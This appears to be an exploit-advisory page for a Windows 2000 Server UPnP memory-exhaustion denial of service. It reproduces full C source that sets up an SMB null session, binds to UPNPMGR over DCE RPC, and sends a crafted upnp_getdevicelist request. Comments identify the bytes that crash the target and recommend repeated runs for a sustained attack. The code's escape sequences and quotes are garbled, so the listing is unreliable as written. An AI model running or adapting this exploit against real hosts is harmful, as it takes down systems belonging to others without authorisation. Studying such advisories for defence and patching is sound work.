‘Windows 2000 Server UPNP DoS (Exploit)’

Summary

A memory leak with windows 2000 server UPNP allow attackers to exploit the virtual memory to a point it consumed too much memory and causing a denial of service on the system.’

Credit:

‘The information has been provided by WINNY THOMAS.’


Details

Exploit:
/*
 * Author: Winny Thomas
 * Nevis Labs, Pune, INDIA
 *
 * Details:
 * While working on the exploit for MS05-047 i came a cross a condition where
 * a specially crafted request to upnp_getdevicelist would cause
 * services.exe to consume memory to a point where the target machines virtual
 * memory gets exhausted. This exploit is NOT similar to the MS05-047 exploit i
 * published earlier. The earlier one trashed the EIP of the target causing a
 * crash in services.exe and eventually brought down the system to shut down.
 * However in this exploit (again a DOS) the virtual memory is consumed to a
 * point where desktop requests (like clicking ‘My Computer’), HTTP requests,
 * SMB requests etc does not get serviced for sometime. After sometime the
 * memory usage comes down and the target system would work as normal. However
 * this code when continuosly executed against a target leads to a sustained
 * DOS attack.
 * Start the task manager on the target system and run this code against the
 * target and watch the virtual memory usage shoot up.
 *
 * I used windbg to break on calls to upnp_getdevicelist when running this code.
 * However even before the break point is hit the system becomes unresponsive.
 * Strangely though changing the operation number in the DCERPC request to
 * something else other than 0xa (upnp_getdevicelist) will make the DOS attempt
 * fail. Perhaps changing the payload a little bit, so that the underlying
 * demarshalling routines dont return an error, might reproduce this effect
 * for other UPNP operations as well.
 *
 * TESTED ON: Windows 2000 server SP0, SP2 and SP3. I have not tested this on
 * any of the above machines with the recent hot fixes for UPNP.
 *
 * Note: This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
   * The author shall bear no responsibility for any damage caused by using this code.
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;

char peer0_0[] =
‘x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC8’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE’
‘x00x00x00x00x00x62x00x02x50x43x20x4Ex45x54x57x4F’
‘x52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02’
‘x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6F’
‘x77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70’
‘x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30’
‘x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54’
‘x20x4Cx4Dx20x30x2Ex31x32x00’ ;

char peer0_1[] =
‘x00x00x00xA4xFFx53x4Dx42x73x00x00x00x00x18x07xC8’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE’
‘x00x00x10x00x0CxFFx00xA4x00x04x11x0Ax00x00x00x00’
‘x00x00x00x20x00x00x00x00x00xD4x00x00x80x69x00x4E’
‘x54x4Cx4Dx53x53x50x00x01x00x00x00x97x82x08xE0x00’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00’
‘x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00’
‘x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00’
‘x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00’
‘x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00’
‘x2Ex00x30x00x00x00x00x00’;

char peer0_1_2[] =
‘x00x00x00xDAxFFx53x4Dx42x73x00x00x00x00x18x07xC8’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE’
‘x00x08x20x00x0CxFFx00xDAx00x04x11x0Ax00x00x00x00’
‘x00x00x00x57x00x00x00x00x00xD4x00x00x80x9Fx00x4E’
‘x54x4Cx4Dx53x53x50x00x03x00x00x00x01x00x01x00x46’
‘x00x00x00x00x00x00x00x47x00x00x00x00x00x00x00x40’
‘x00x00x00x00x00x00x00x40x00x00x00x06x00x06x00x40’
‘x00x00x00x10x00x10x00x47x00x00x00x15x8Ax88xE0x48’
‘x00x4Fx00x44x00x00xEDx41x2Cx27x86x26xD2x59xA0xB3’
‘x5ExAAx00x88x6FxC5x57x00x69x00x6Ex00x64x00x6Fx00’
‘x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00’
‘x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00’
‘x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00’
‘x30x00x20x00x35x00x2Ex00x30x00x00x00x00x00’;

char peer0_2[] =
‘x00x00x00x58xFFx53x4Dx42x75x00x00x00x00x18x07xC8’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE’
‘x00x08x30x00x04xFFx00x5Ax00x08x00x01x00x2Dx00x00’;

char peer0_3[] =
‘x00x00x00x66xffx53x4dx42xa2x00x00x00x00x18x07xc8’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxfe’
‘x00x08x40x00x18xffx00xdexdex00x10x00x16x00x00x00’
‘x00x00x00x00x9fx01x02x00x00x00x00x00x00x00x00x00’
‘x00x00x00x00x00x00x00x00x01x00x00x00x40x00x00x00’
‘x02x00x00x00x03x13x00x00x5cx00x62x00x72x00x6fx00’
‘x77x00x73x00x65x00x72x00x00x00’;

char peer0_4[] =
‘x00x00x00x9AxFFx53x4Dx42x25x00x00x00x00x08x01xC0’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFE’
‘x00x08x01x00x10x00x00x48x00x00x00x48x00x00x00x00’
‘x00x00x00x00x00x00x00x00x00x52x00x48x00x52x00x02’
‘x00x26x00x00x40x57x00x00x5Cx00x50x00x49x00x50x00’
‘x45x00x5Cx00x00x00x05x00x0Bx03x10x00x00x00x48x00’
‘x00x00x00x00x00x00xD0x16xD0x16x00x00x00x00x01x00’
‘x00x00x00x00x01x00x40x4Ex9Fx8Dx3DxA0xCEx11x8Fx69’
‘x08x00x3Ex30x05x1Bx01x00x00x00x04x5Dx88x8AxEBx1C’
‘xC9x11x9FxE8x08x00x2Bx10x48x60x02x00x00x00’;

char peer0_5[] =
//NETBIOS Fields
//==============
‘x00’ //Message type
‘x00x00x80’ //Payload length C
//SMB Fields
//==========
//SMB Header
‘xFFx53x4Dx42x2Fx00x00x00x00x18x07xC8’
‘x00x00x40x6Dx4ExF4x8Cx6Ex13x7Bx00x00x00x08xFFxFE’
‘x00x08x00x01’
//Write ANDX Request fields
‘x0E’ //Word count
‘xFFx00xDExDEx00x40x00x00x00x00xFF’
‘xFFxFFxFFx08x00’
‘x40x00’ //Remaining C
‘x00x00’ //Data Length High
‘x40x00’ //Data Length Low C
‘x40x00’ //Data Offset C
‘x00x00x00x00’ //High Offset
‘x41x00’ //Byte count C
‘xEE’//Padding
//DCE RPC Request field
//=====================
‘x05x00x00x03x10x00x00x00’
‘x40x00’ //Frag Length
‘x00x00’ //Auth Length
‘x8Dx00x00x00’ //Call Id
‘x28x00x00x00’ //Alloc HINT C
‘x00x00’ //Context Id
‘x0Ax00’ //OpNum; 10 in our case for PNP_GetDeviceList
//DATA for GetDeviceList
‘x00x00x00x00’
‘x10x10x10x10’ //This is what kills the target. x00x00x00x00 is safe
‘x48x54x52x45x45x5Cx52x4Fx4Fx54x5C’
‘x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00’
‘x00x00x00x00x00x00’;

void send_packet(int sock, char *payload, int size, char *type)
{
        int ntrans, ret;
        
        memcpy(&payload[30], &ProcessID, 2);
        
        if (UserID)
                memcpy(&payload[32], &UserID, 2);
        if (TID)
                memcpy(&payload[28], &TID, 2);

        if (strcmp(type, ‘Sending DCE RPC Bind UPNPMGR request’) == 0) {
                memcpy(&payload[67], &FID, 2);
        }
        if (strcmp(type, ‘UPNPMGR upnp_getdevicelist request’) == 0) {
                memcpy(&payload[41], &FID, 2);
        }

        printf(‘[*] %s: ‘, type);
        fflush(stdout);
        ntrans = send(sock, payload, size, 0);
        if (ntrans < 0) {
                printf(‘33[0;31mFailed33[0;39mnn’);
                exit(-1);
        }
}

void get_response(int sock, char *type)
{
        int ret;
        char response[1496];

        ret = recv(sock, response, 1496, 0);
        if (strcmp(type, ‘Null Session request 1’) != 0) {
                if ((ret < 0 || response[9] != 0)) {
                        printf(‘33[0;31mError in %s response33[0;39mnn’, type);
                        exit(-1);
                }
        }
        
        if (strcmp(type, ‘Null Session request 1’) == 0) {
                UserID = *(unsigned short *)&response[32];
        }
        if (strcmp(type, ‘Tree Connect’) == 0) {
                TID = *(unsigned short *)&response[28];
        }
        if (strcmp(type, ‘NT Creat AndX’) == 0) {
                FID = *(unsigned short *)&response[42];
        }
        
        if (strcmp(type, ‘UPNPMGR upnp_getdevicelist’) == 0)
{
                if((unsigned long)response[88] != 0) {
                        printf(‘33[0;31mnca_s_fault_ndr33[0;39mnn’);
                        exit(-1);
                }
        }
        printf(‘33[0;32mOK33[0;39mn’);
}

void banner()
{

printf(‘nn33[0;31mt!——————————————!n33[0;39m’);
        printf(‘33[0;31mt Memory leak when sending upnp_getdevicelist requestn33[0;39m’);
        printf(‘33[0;31mt Coded by: 33[0;34m Winny Thomas :-)n33[0;39m’);
        printf(‘33[0;34mtt NevisLabsn33[0;39m’);
        printf(‘33[0;34mtt Nevis Networks, Pune, INDIAn33[0;39m’);

printf(‘33[0;31mt!——————————————!nn33[0;39m’);
}

char *setup_tCon(char *UNC, char *ptr)
{
        int pindex = 0, uindex = 0, len;
        
        len = strlen(UNC);
        while (uindex < len) {
                if ((pindex % 2) != 0) {
                        ptr[pindex] = ‘x00’;
                        pindex++;
                        continue;
                }

                ptr[pindex] = UNC[uindex];
                uindex++;
                pindex++;
        }

        ptr[pindex] = ‘x00’;
        pindex++;
        ptr[pindex] = ‘x00’;
        pindex++;
        ptr[pindex] = ‘x00’;
        pindex++;

        ptr[pindex] = ‘I’; pindex++; ptr[pindex] = ‘P’; pindex++; ptr[pindex] =’C’; pindex++;

        ptr[pindex] = ‘x00’;
        pindex++;
        ptr[pindex] = ‘x00’;
        pindex++;
}

int main(int argc, char *argv[])
{
        struct sockaddr_in target;
        struct hostent *host;
        char UNC[50], tConXpacket[150], *temp, targetIP[20];
        int sockfd;
        int ret, templen;
        
        system(‘clear’);
        banner();

        if (argc < 2) {
                printf(‘Usage: %s <host name|ip address>nn’, argv[0]);
                exit(-1);
        }
        
        srand(time(NULL));
        ProcessID = rand();

        printf(‘[*] Resolving %s: ‘, argv[1]);
        host = gethostbyname(argv[1]);
        if (!host) {
                printf(‘33[0;31mFailed33[0;39mn’);
                exit(-1);
        }
        printf(‘33[0;32mOK33[0;39mn’);
        
        target.sin_family = AF_INET;
        target.sin_addr = *(struct in_addr *)host->h_addr;
        target.sin_port = htons(445);
        sprintf(targetIP, ‘%s’, inet_ntoa(target.sin_addr));
        
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        ret = connect(sockfd, (struct sockaddr *)&target, sizeof(target));
        if (ret < 0) {
                perror(‘Connect’);
                exit(-1);
        }

        send_packet(sockfd, peer0_0, sizeof(peer0_0) -1, ‘Sending SMB Negotiate request’);
        get_response(sockfd, ‘SMB Negotiate’);

        send_packet(sockfd, peer0_1, sizeof(peer0_1) -1, ‘Sending Null Session request’);
        get_response(sockfd, ‘Null Session request 1’);

        send_packet(sockfd, peer0_1_2, sizeof(peer0_1_2) -1, ‘Sending Null Session request’);
        get_response(sockfd, ‘Null Session request 2’);

        bzero(tConXpacket, 150);
        temp = tConXpacket;
        memcpy(tConXpacket, peer0_2, sizeof(peer0_2));
        temp += sizeof(peer0_2) -1;
        sprintf(UNC, ‘\\%s\IPC$’, targetIP);
        setup_tCon(UNC, temp);
        templen = (strlen(UNC)*2) +9;
        tConXpacket[3] = 43 + templen;
        templen -= 2;
        memcpy((unsigned long *)&tConXpacket[45], &templen, 1);

        send_packet(sockfd, tConXpacket, sizeof(peer0_2) +templen, ‘Sending Tree Connect request’);
        get_response(sockfd, ‘Tree Connect’);

        send_packet(sockfd, peer0_3, sizeof(peer0_3) -1, ‘Sending NT Creat AndX request’);
        get_response(sockfd, ‘NT Creat AndX’);

        send_packet(sockfd, peer0_4, sizeof(peer0_4) -1, ‘Sending DCE RPC Bind UPNPMGR request’);
        get_response(sockfd, ‘DCE RPC Bind UPNPMGR’);

        send_packet(sockfd, peer0_5, sizeof(peer0_5) -1, ‘UPNPMGR upnp_getdevicelist request’);
        get_response(sockfd, ‘UPNPMGR upnp_getdevicelist’);

        close(sockfd);
}

/* EoF */’

Categories: Exploits